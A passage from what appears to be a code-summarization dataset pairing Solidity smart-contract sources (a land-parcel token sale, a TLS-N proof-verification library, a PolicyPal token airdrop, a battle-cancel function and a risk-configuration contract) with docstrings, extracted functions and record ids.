(CheckResult result); function signedTransfer(address tokenOwner, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveHash(address tokenOwner, address spender, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveCheck(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApprove(address tokenOwner, address spender, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedTransferFromHash(address spender, address from, address to, uint tokens, uint fee, uint nonce) public view returns (bytes32 hash); function signedTransferFromCheck(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedTransferFrom(address spender, address from, address to, uint tokens, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function signedApproveAndCallHash(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce) public view returns (bytes32 hash); function signedApproveAndCallCheck(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public view returns (CheckResult result); function signedApproveAndCall(address tokenOwner, address spender, uint tokens, bytes _data, uint fee, uint nonce, bytes sig, address feeAccount) public returns (bool success); function mint(address tokenOwner, uint tokens, bool lockAccount) public returns (bool success); function unlockAccount(address tokenOwner) public; function disableMinting() public; function enableTransfers() public; // ------------------------------------------------------------------------ // signed{X}Check return status // ------------------------------------------------------------------------ enum CheckResult { Success, // 0 Success NotTransferable, // 1 Tokens not transferable yet AccountLocked, // 2 Account locked SignerMismatch, // 3 Mismatch in signing account InvalidNonce, // 4 Invalid nonce InsufficientApprovedTokens, // 5 Insufficient approved tokens InsufficientApprovedTokensForFees, // 6 Insufficient approved tokens for fees InsufficientTokens, // 7 Insufficient tokens InsufficientTokensForFees, // 8 Insufficient tokens for fees OverflowError // 9 Overflow error } } // ---------------------------------------------------------------------------- // PriceFeed Interface - _live is true if the rate is valid, false if invalid // ---------------------------------------------------------------------------- contract PriceFeedInterface { function getRate() public view returns (uint _rate, bool _live); } // ---------------------------------------------------------------------------- // Bonus List interface // ---------------------------------------------------------------------------- contract BonusListInterface { function isInBonusList(address account) public view returns (bool); } // ---------------------------------------------------------------------------- // FxxxLandRush Contract // ---------------------------------------------------------------------------- contract FxxxLandRush is Owned, ApproveAndCallFallBack { using SafeMath for uint; uint private constant TENPOW18 = 10 ** 18; BTTSTokenInterface public parcelToken; BTTSTokenInterface public gzeToken; PriceFeedInterface public ethUsdPriceFeed; PriceFeedInterface public gzeEthPriceFeed; BonusListInterface public bonusList; address public wallet; uint public startDate; uint public endDate; uint public maxParcels; uint public parcelUsd; // USD per parcel, e.g., USD 1,500 * 10^18 uint public usdLockAccountThreshold; // e.g., USD 7,000 * 10^18 uint public gzeBonusOffList; // e.g., 20 = 20% bonus uint public gzeBonusOnList; // e.g., 30 = 30% bonus uint public parcelsSold; uint public contributedGze; uint public contributedEth; bool public finalised; event WalletUpdated(address indexed oldWallet, address indexed newWallet); event StartDateUpdated(uint oldStartDate, uint newStartDate); event EndDateUpdated(uint oldEndDate, uint newEndDate); event MaxParcelsUpdated(uint oldMaxParcels, uint newMaxParcels); event ParcelUsdUpdated(uint oldParcelUsd, uint newParcelUsd); event UsdLockAccountThresholdUpdated(uint oldUsdLockAccountThreshold, uint newUsdLockAccountThreshold); event GzeBonusOffListUpdated(uint oldGzeBonusOffList, uint newGzeBonusOffList); event GzeBonusOnListUpdated(uint oldGzeBonusOnList, uint newGzeBonusOnList); event Purchased(address indexed addr, uint parcels, uint gzeToTransfer, uint ethToTransfer, uint parcelsSold, uint contributedGze, uint contributedEth, bool lockAccount); constructor(address _parcelToken, address _gzeToken, address _ethUsdPriceFeed, address _gzeEthPriceFeed, address _bonusList, address _wallet, uint _startDate, uint _endDate, uint _maxParcels, uint _parcelUsd, uint _usdLockAccountThreshold, uint _gzeBonusOffList, uint _gzeBonusOnList) public { require(_parcelToken != address(0) && _gzeToken != address(0)); require(_ethUsdPriceFeed != address(0) && _gzeEthPriceFeed != address(0) && _bonusList != address(0)); require(_wallet != address(0)); require(_startDate >= now && _endDate > _startDate); require(_maxParcels > 0 && _parcelUsd > 0); initOwned(msg.sender); parcelToken = BTTSTokenInterface(_parcelToken); gzeToken = BTTSTokenInterface(_gzeToken); ethUsdPriceFeed = PriceFeedInterface(_ethUsdPriceFeed); gzeEthPriceFeed = PriceFeedInterface(_gzeEthPriceFeed); bonusList = BonusListInterface(_bonusList); wallet = _wallet; startDate = _startDate; endDate = _endDate; maxParcels = _maxParcels; parcelUsd = _parcelUsd; usdLockAccountThreshold = _usdLockAccountThreshold; gzeBonusOffList = _gzeBonusOffList; gzeBonusOnList = _gzeBonusOnList; } function setWallet(address _wallet) public onlyOwner { require(!finalised); require(_wallet != address(0)); emit WalletUpdated(wallet, _wallet); wallet = _wallet; } function setStartDate(uint _startDate) public onlyOwner { require(!finalised); require(_startDate >= now); emit StartDateUpdated(startDate, _startDate); startDate = _startDate; } function setEndDate(uint _endDate) public onlyOwner { require(!finalised); require(_endDate > startDate); emit EndDateUpdated(endDate, _endDate); endDate = _endDate; } function setMaxParcels(uint _maxParcels) public onlyOwner { require(!finalised); require(_maxParcels >= parcelsSold); emit MaxParcelsUpdated(maxParcels, _maxParcels); maxParcels = _maxParcels; } function setParcelUsd(uint _parcelUsd) public onlyOwner { require(!finalised); require(_parcelUsd > 0); emit ParcelUsdUpdated(parcelUsd, _parcelUsd); parcelUsd = _parcelUsd; } function setUsdLockAccountThreshold(uint _usdLockAccountThreshold) public onlyOwner { require(!finalised); emit UsdLockAccountThresholdUpdated(usdLockAccountThreshold, _usdLockAccountThreshold); usdLockAccountThreshold = _usdLockAccountThreshold; } function setGzeBonusOffList(uint _gzeBonusOffList) public onlyOwner { require(!finalised); emit GzeBonusOffListUpdated(gzeBonusOffList, _gzeBonusOffList); gzeBonusOffList = _gzeBonusOffList; } function setGzeBonusOnList(uint _gzeBonusOnList) public onlyOwner { require(!finalised); emit GzeBonusOnListUpdated(gzeBonusOnList, _gzeBonusOnList); gzeBonusOnList = _gzeBonusOnList; } function symbol() public view returns (string _symbol) { _symbol = parcelToken.symbol(); } function name() public view returns (string _name) { _name = parcelToken.name(); } // USD per ETH, e.g., 221.99 * 10^18 function ethUsd() public view returns (uint _rate, bool _live) { return ethUsdPriceFeed.getRate(); } // ETH per GZE, e.g., 0.00004366 * 10^18 function gzeEth() public view returns (uint _rate, bool _live) { return gzeEthPriceFeed.getRate(); } // USD per GZE, e.g., 0.0096920834 * 10^18 function gzeUsd() public view returns (uint _rate, bool _live) { uint _ethUsd; bool _ethUsdLive; (_ethUsd, _ethUsdLive) = ethUsdPriceFeed.getRate(); uint _gzeEth; bool _gzeEthLive; (_gzeEth, _gzeEthLive) = gzeEthPriceFeed.getRate(); if (_ethUsdLive && _gzeEthLive) { _live = true; _rate = _ethUsd.mul(_gzeEth).div(TENPOW18); } } // ETH per parcel, e.g., 6.757061128879679264 * 10^18 function parcelEth() public view returns (uint _rate, bool _live) { uint _ethUsd; (_ethUsd, _live) = ethUsd(); if (_live) { _rate = parcelUsd.mul(TENPOW18).div(_ethUsd); } } // GZE per parcel, without bonus, e.g., 154765.486231783766945298 * 10^18 function parcelGzeWithoutBonus() public view returns (uint _rate, bool _live) { uint _gzeUsd; (_gzeUsd, _live) = gzeUsd(); if (_live) { _rate = parcelUsd.mul(TENPOW18).div(_gzeUsd); } } // GZE per parcel, with bonus but not on bonus list, e.g., 128971.238526486472454415 * 10^18 function parcelGzeWithBonusOffList() public view returns (uint _rate, bool _live) { uint _parcelGzeWithoutBonus; (_parcelGzeWithoutBonus, _live) = parcelGzeWithoutBonus(); if (_live) { _rate = _parcelGzeWithoutBonus.mul(100).div(gzeBonusOffList.add(100)); } } // GZE per parcel, with bonus and on bonus list, e.g., 119050.374024449051496383 * 10^18 function parcelGzeWithBonusOnList() public view returns (uint _rate, bool _live) { uint _parcelGzeWithoutBonus; (_parcelGzeWithoutBonus, _live) = parcelGzeWithoutBonus(); if (_live) { _rate = _parcelGzeWithoutBonus.mul(100).div(gzeBonusOnList.add(100)); } } // Account contributes by: // 1. calling GZE.approve(landRushAddress, tokens) // 2. calling this.purchaseWithGze(tokens) function purchaseWithGze(uint256 tokens) public { require(gzeToken.allowance(msg.sender, this) >= tokens); receiveApproval(msg.sender, tokens, gzeToken, ""); } // Account contributes by calling GZE.approveAndCall(landRushAddress, tokens, "") function receiveApproval(address from, uint256 tokens, address token, bytes /* data */) public { require(now >= startDate && now <= endDate); require(token == address(gzeToken)); uint _parcelGze; bool _live; if (bonusList.isInBonusList(from)) { (_parcelGze, _live) = parcelGzeWithBonusOnList(); } else { (_parcelGze, _live) = parcelGzeWithBonusOffList(); } require(_live); uint parcels = tokens.div(_parcelGze); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } uint gzeToTransfer = parcels.mul(_parcelGze); contributedGze = contributedGze.add(gzeToTransfer); require(ERC20Interface(token).transferFrom(from, wallet, gzeToTransfer)); bool lock = mintParcelTokens(from, parcels); emit Purchased(from, parcels, gzeToTransfer, 0, parcelsSold, contributedGze, contributedEth, lock); } // Account contributes by sending ETH function () public payable { require(now >= startDate && now <= endDate); uint _parcelEth; bool _live; (_parcelEth, _live) = parcelEth(); require(_live); uint parcels = msg.value.div(_parcelEth); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } uint ethToTransfer = parcels.mul(_parcelEth); contributedEth = contributedEth.add(ethToTransfer); uint ethToRefund = msg.value.sub(ethToTransfer); if (ethToRefund > 0) { msg.sender.transfer(ethToRefund); } bool lock = mintParcelTokens(msg.sender, parcels); emit Purchased(msg.sender, parcels, 0, ethToTransfer, parcelsSold, contributedGze, contributedEth, lock); } // Contract owner allocates parcels to tokenOwner for offline purchase function offlinePurchase(address tokenOwner, uint parcels) public onlyOwner { require(!finalised); if (parcelsSold.add(parcels) >= maxParcels) { parcels = maxParcels.sub(parcelsSold); } bool lock = mintParcelTokens(tokenOwner, parcels); emit Purchased(tokenOwner, parcels, 0, 0, parcelsSold, contributedGze, contributedEth, lock); } // Internal function to mint tokens and disable minting if maxParcels sold function mintParcelTokens(address account, uint parcels) internal returns (bool _lock) { require(parcels > 0); parcelsSold = parcelsSold.add(parcels); _lock = parcelToken.balanceOf(account).add(parcelUsd.mul(parcels)) >= usdLockAccountThreshold; require(parcelToken.mint(account, parcelUsd.mul(parcels), _lock)); if (parcelsSold >= maxParcels) { parcelToken.disableMinting(); finalised = true; } } // Contract owner finalises to disable parcel minting function finalise() public onlyOwner { require(!finalised); require(now > endDate || parcelsSold >= maxParcels); parcelToken.disableMinting(); finalised = true; } }
Internal function to mint tokens and disable minting if maxParcels sold
function mintParcelTokens(address account, uint parcels) internal returns (bool _lock) { require(parcels > 0); parcelsSold = parcelsSold.add(parcels); _lock = parcelToken.balanceOf(account).add(parcelUsd.mul(parcels)) >= usdLockAccountThreshold; require(parcelToken.mint(account, parcelUsd.mul(parcels), _lock)); if (parcelsSold >= maxParcels) { parcelToken.disableMinting(); finalised = true; } }
2,548,911
pragma solidity ^0.4.11; import "./bytesutils.sol"; import "./ECMath.sol"; library tlsnutils{ using bytesutils for *; /* * @dev Returns the complete conversation part of one peer (all generator records). * @param proof The proof. * @param conversation_part 0 = Requester(Client), 1 = Generator(Server). * @return The response as a bytestring. */ function getConversationPart(bytes memory proof, bytes1 conversation_part) private returns(bytes){ bytes memory response = ""; uint16 readPos = 96; // Skipping the certificate chain readPos += uint16(proof[26])+256*uint16(proof[27]); bytes1 generator_originated; // Parse one record after another ( i < num_proof_nodes ) for(uint16 i = 0; i < uint16(proof[6])+256*uint16(proof[7]); i++){ // Assume the request is in the first record bytes2 len_record; // Length of the record assembly { len_record := mload(add(proof,add(readPos,33))) } uint16 tmplen = uint16(len_record[0])+256*uint16(len_record[1]); generator_originated = proof[readPos+3]; // Skip node, type, content len and generator info readPos += 4; if(generator_originated == conversation_part){ var chunk = proof.toSlice(readPos).truncate(tmplen); response = response.toSlice().concat(chunk); } readPos += tmplen + 16; } return response; } /* * @dev Returns the complete request (all requester records). * @param proof The proof. * @return The request as a bytestring. */ function getRequest(bytes memory proof) internal returns(bytes){ return getConversationPart(proof, 0); } /* * @dev Returns the complete response (all generator records). * @param proof The proof. * @return The response as a bytestring. */ function getResponse(bytes memory proof) internal returns(bytes){ return getConversationPart(proof, 1); } /* * @dev Returns the HTTP body. * @param proof The proof. * @return The HTTP body in case the request was valid. (200 OK) */ function getHTTPBody(bytes memory proof) internal returns(bytes){ bytes memory response = getResponse(proof); bytesutils.slice memory code = response.toSlice().truncate(15); require(code.equals("HTTP/1.1 200 OK".toSlice())); bytesutils.slice memory body = response.toSlice().find("\r\n\r\n".toSlice()); body.addOffset(4); return body.toBytes(); } /* * @dev Returns HTTP Host inside the request * @param proof The proof. * @return The Host as a bytestring. */ function getHost(bytes memory proof) internal returns(bytes){ bytesutils.slice memory request = getRequest(proof).toSlice(); // Search in Headers request = request.split("\r\n\r\n".toSlice()); // Find host header request.find("Host:".toSlice()); request.addOffset(5); // Until newline request = request.split("\r\n".toSlice()); while(request.startsWith(" ".toSlice())){ request.addOffset(1); } require(request.len() > 0); return request.toBytes(); } /* * @dev Returns the requested URL for HTTP * @param proof The proof. * @return The request as a bytestring. Empty string on error. */ function getHTTPRequestURL(bytes memory proof) internal returns(bytes){ bytes memory request = getRequest(proof); bytesutils.slice memory slice = request.toSlice(); bytesutils.slice memory delim = " ".toSlice(); // Check the method is GET bytesutils.slice memory method = slice.split(delim); require(method.equals("GET".toSlice())); // Return the URL return slice.split(delim).toBytes(); } /* * @dev Verify a proof signed by tls-n.org. * @param proof The proof. * @return True iff valid. */ function verifyProof(bytes memory proof) returns(bool) { uint256 qx = 0x0de2583dc1b70c4d17936f6ca4d2a07aa2aba06b76a97e60e62af286adc1cc09; //public key x-coordinate signer uint256 qy = 0x68ba8822c94e79903406a002f4bc6a982d1b473f109debb2aa020c66f642144a; //public key y-coordinate signer return verifyProof(proof, qx, qy); } /* * @dev Verify a proof signed by the specified key. * @param proof The proof. * @return True iff valid. */ function verifyProof(bytes memory proof, uint256 qx, uint256 qy) returns(bool) { bytes32 m; // Evidence Hash in bytes32 uint256 e; // Evidence Hash in uint256 uint256 sig_r; //signature parameter uint256 sig_s; //signature parameter // Returns ECC signature parts and the evidence hash (sig_r, sig_s, m) = parseProof(proof); // Convert evidence hash to uint e = uint256(m); // Verify signature return ECMath.ecdsaverify(qx, qy, e, sig_r, sig_s); } /* * @dev Parses the provided proof and returns the signature parts and the evidence hash. * For 64-byte ECC proofs with SHA256. * @param proof The proof. * @return sig_r, sig_s: signature parts and hashchain: the final evidence hash. */ function parseProof(bytes memory proof) returns(uint256 sig_r, uint256 sig_s, bytes32 hashchain) { uint16 readPos = 0; // Initialize index in proof bytes array bytes16 times; // Contains Timestamps for signature validation bytes2 len_record; // Length of the record bytes1 generator_originated; // Boolean whether originated by generator bytes memory chunk; // One chunk for hashing bytes16 saltsecret; // Salt secret from proof // Parse times assembly { times := mload(add(proof, 40)) } readPos += 32; //update readPos, skip parameters assembly { sig_r := mload(add(proof,64)) sig_s := mload(add(proof,96)) readPos := add(readPos, 64) } // Skipping the certificate chain readPos += uint16(proof[26])+256*uint16(proof[27]); // Parse one record after another ( i < num_proof_nodes ) for(uint16 i = 0; i < uint16(proof[6])+256*uint16(proof[7]); i++){ // Get the Record length as a byte array assembly { len_record := mload(add(proof,add(readPos,33))) } // Convert the record length into a number uint16 tmplen = uint16(len_record[0])+256*uint16(len_record[1]); // Parse generator information generator_originated = proof[readPos+3]; // Update readPos readPos += 4; // Set chunk pointer assembly { chunk := add(proof,readPos) } // Set length of chunks assembly { mstore(chunk, tmplen) } // Load saltsecret assembly { saltsecret := mload(add(proof,add(readPos,add(tmplen,32)))) } // Root hash bytes32 hash = sha256(saltsecret,chunk,uint8(0),len_record,generator_originated); // Hash chain if(i == 0){ hashchain = sha256(uint8(1),hash); }else{ hashchain = sha256(uint8(1),hashchain,hash); } // Jump over record and salt secret readPos += tmplen + 16; } // Compute Evidence Hash // Load chunk size and salt size bytes4 test; // Temporarily contains salt size and chunk size assembly { test := mload(add(proof,34)) } // Compute final hash chain hashchain = sha256(hashchain, times, test, 0x04000000); } }
Verify a proof signed by the specified key. proof The proof. return True iff valid./ Returns ECC signature parts and the evidence hash Convert evidence hash to uint Verify signature
function verifyProof(bytes memory proof, uint256 qx, uint256 qy) returns(bool) { (sig_r, sig_s, m) = parseProof(proof); e = uint256(m); return ECMath.ecdsaverify(qx, qy, e, sig_r, sig_s); }
12,733,253
//Address: 0xA4c8A48414d80B22c50BE7b6f3CfAE3EfA6a8716 //Contract name: PPNAirdrop //Balance: 0 Ether //Verification Date: 6/12/2018 //Transacion Count: 2 // CODE STARTS HERE pragma solidity ^0.4.18; contract PPNAirdrop { /** * @dev Air drop Public Variables */ address public admin; PolicyPalNetworkToken public token; using SafeMath for uint256; /** * @dev Token Contract Modifier * Check if only admin * */ modifier onlyAdmin() { require(msg.sender == admin); _; } /** * @dev Token Contract Modifier * Check if valid address * * @param _addr - The address to check * */ modifier validAddress(address _addr) { require(_addr != address(0x0)); require(_addr != address(this)); _; } /** * @dev Token Contract Modifier * Check if the batch transfer amount is * equal or more than balance * (For single batch amount) * * @param _recipients - The recipients to send * @param _amount - The amount to send * */ modifier validBalance(address[] _recipients, uint256 _amount) { // Assert balance uint256 balance = token.balanceOf(this); require(balance > 0); require(balance >= _recipients.length.mul(_amount)); _; } /** * @dev Token Contract Modifier * Check if the batch transfer amount is * equal or more than balance * (For multiple batch amounts) * * @param _recipients - The recipients to send * @param _amounts - The amounts to send * */ modifier validBalanceMultiple(address[] _recipients, uint256[] _amounts) { // Assert balance uint256 balance = token.balanceOf(this); require(balance > 0); uint256 totalAmount; for (uint256 i = 0 ; i < _recipients.length ; i++) { totalAmount = totalAmount.add(_amounts[i]); } require(balance >= totalAmount); _; } /** * @dev Airdrop Contract Constructor * @param _token - PPN Token address * @param _adminAddr - Address of the Admin */ function PPNAirdrop( PolicyPalNetworkToken _token, address _adminAddr ) public validAddress(_adminAddr) validAddress(_token) { // Assign addresses admin = _adminAddr; token = _token; } /** * @dev TokenDrop Event */ event TokenDrop(address _receiver, uint _amount); /** * @dev batch Air Drop by single amount * @param _recipients - Address of the recipient * @param _amount - Amount to transfer used in this batch */ function batchSingleAmount(address[] _recipients, uint256 _amount) external onlyAdmin validBalance(_recipients, _amount) { // Loop through all recipients for (uint256 i = 0 ; i < _recipients.length ; i++) { address recipient = _recipients[i]; // Transfer amount assert(token.transfer(recipient, _amount)); // TokenDrop event TokenDrop(recipient, _amount); } } /** * @dev batch Air Drop by multiple amount * @param _recipients - Address of the recipient * @param _amounts - Amount to transfer used in this batch */ function batchMultipleAmount(address[] _recipients, uint256[] _amounts) external onlyAdmin validBalanceMultiple(_recipients, _amounts) { // Loop through all recipients for (uint256 i = 0 ; i < _recipients.length ; i++) { address recipient = _recipients[i]; uint256 amount = _amounts[i]; // Transfer amount assert(token.transfer(recipient, amount)); // TokenDrop event TokenDrop(recipient, amount); } } /** * @dev Air drop single amount * @param _recipient - Address of the recipient * @param _amount - Amount to drain */ function airdropSingleAmount(address _recipient, uint256 _amount) external onlyAdmin { assert(_amount <= token.balanceOf(this)); assert(token.transfer(_recipient, _amount)); } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract PolicyPalNetworkToken is StandardToken, BurnableToken, Ownable { /** * @dev Token Contract Constants */ string public constant name = "PolicyPal Network Token"; string public constant symbol = "PAL"; uint8 public constant decimals = 18; /** * @dev Token Contract Public Variables */ address public tokenSaleContract; bool public isTokenTransferable = false; /** * @dev Token Contract Modifier * * Check if a transfer is allowed * Transfers are restricted to token creator & owner(admin) during token sale duration * Transfers after token sale is limited by `isTokenTransferable` toggle * */ modifier onlyWhenTransferAllowed() { require(isTokenTransferable || msg.sender == owner || msg.sender == tokenSaleContract); _; } /** * @dev Token Contract Modifier * @param _to - Address to check if valid * * Check if an address is valid * A valid address is as follows, * 1. Not zero address * 2. Not token address * */ modifier isValidDestination(address _to) { require(_to != address(0x0)); require(_to != address(this)); _; } /** * @dev Enable Transfers (Only Owner) */ function toggleTransferable(bool _toggle) external onlyOwner { isTokenTransferable = _toggle; } /** * @dev Token Contract Constructor * @param _adminAddr - Address of the Admin */ function PolicyPalNetworkToken( uint _tokenTotalAmount, address _adminAddr ) public isValidDestination(_adminAddr) { require(_tokenTotalAmount > 0); totalSupply_ = _tokenTotalAmount; // Mint all token balances[msg.sender] = _tokenTotalAmount; Transfer(address(0x0), msg.sender, _tokenTotalAmount); // Assign token sale contract to creator tokenSaleContract = msg.sender; // Transfer contract ownership to admin transferOwnership(_adminAddr); } /** * @dev Token Contract transfer * @param _to - Address to transfer to * @param _value - Value to transfer * @return bool - Result of transfer * "Overloaded" Function of ERC20Basic's transfer * */ function transfer(address _to, uint256 _value) public onlyWhenTransferAllowed isValidDestination(_to) returns (bool) { return super.transfer(_to, _value); } /** * @dev Token Contract transferFrom * @param _from - Address to transfer from * @param _to - Address to transfer to * @param _value - Value to transfer * @return bool - Result of transferFrom * * "Overloaded" Function of ERC20's transferFrom * Added with modifiers, * 1. onlyWhenTransferAllowed * 2. isValidDestination * */ function transferFrom(address _from, address _to, uint256 _value) public onlyWhenTransferAllowed isValidDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } /** * @dev Token Contract burn * @param _value - Value to burn * "Overloaded" Function of BurnableToken's burn */ function burn(uint256 _value) public { super.burn(_value); Transfer(msg.sender, address(0x0), _value); } /** * @dev Token Contract Emergency Drain * @param _token - Token to drain * @param _amount - Amount to drain */ function emergencyERC20Drain(ERC20 _token, uint256 _amount) public onlyOwner { _token.transfer(owner, _amount); } }
Token Contract transfer _to - Address to transfer to _value - Value to transfer return bool - Result of transfer "Overloaded" Function of ERC20Basic's transfer/
function transfer(address _to, uint256 _value) public onlyWhenTransferAllowed isValidDestination(_to) returns (bool) { return super.transfer(_to, _value); }
6,440,665
./full_match/80001/0xB447B59d547Ba4BCD85269d6b700a84A01bb381f/sources/contracts/Battle.sol
Remove battle from the activeBattlesId array Add credit score to player playerCredit[msg.sender] += 1;
function cancelBattle(uint256 _battleId) external { BattleData storage battle = battles[_battleId]; require( battle.players[0] == msg.sender, "Only the creator can cancel the battle" ); require( battle.battleStatus == BattleStatus.PENDING, "Cannot cancel a started battle" ); battle.battleStatus = BattleStatus.ENDED; playerOngoingBattle[msg.sender] = 0; uint256 index = battleIdToActiveIndex[_battleId]; uint256 lastIndex = activeBattlesId.length - 1; uint256 lastBattleId = activeBattlesId[lastIndex]; activeBattlesId[index] = lastBattleId; battleIdToActiveIndex[lastBattleId] = index; activeBattlesId.pop(); delete battleIdToActiveIndex[_battleId]; emit BattleCancelled(_battleId, msg.sender); }
852,421
/** *Submitted for verification at Etherscan.io on 2021-08-11 */ // SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; // Part: IBetaConfig interface IBetaConfig { /// @dev Returns the risk level for the given asset. function getRiskLevel(address token) external view returns (uint); /// @dev Returns the rate of interest collected to be distributed to the protocol reserve. function reserveRate() external view returns (uint); /// @dev Returns the beneficiary to receive a portion interest rate for the protocol. function reserveBeneficiary() external view returns (address); /// @dev Returns the ratio of which the given token consider for collateral value. function getCollFactor(address token) external view returns (uint); /// @dev Returns the max amount of collateral to accept globally. function getCollMaxAmount(address token) external view returns (uint); /// @dev Returns max ltv of collateral / debt to allow a new position. function getSafetyLTV(address token) external view returns (uint); /// @dev Returns max ltv of collateral / debt to liquidate a position of the given token. function getLiquidationLTV(address token) external view returns (uint); /// @dev Returns the bonus incentive reward factor for liquidators. function getKillBountyRate(address token) external view returns (uint); } // File: BetaConfig.sol contract BetaConfig is IBetaConfig { struct RiskConfig { uint64 safetyLTV; uint64 liquidationLTV; uint64 killBountyRate; } event SetGovernor(address governor); event SetPendingGovernor(address pendingGovernor); event SetCollInfo(address indexed token, uint factor, uint maxAmount); event SetRiskLevel(address indexed token, uint level); event SetRiskConfig( uint indexed level, uint64 safetyLTV, uint64 liquidationLTV, uint64 killBountyRate ); event SetReserveInfo(address indexed beneficiary, uint rate); address public governor; address public pendingGovernor; address public override reserveBeneficiary; uint public override reserveRate; mapping(address => uint) public cFactors; // collateral factors mapping(address => uint) public cMaxAmounts; // collateral max amounts mapping(address => uint) public rLevels; // risk levels mapping(uint => RiskConfig) public rConfigs; // risk configurations constructor(address _reserveBeneficiary, uint _reserveRate) { governor = 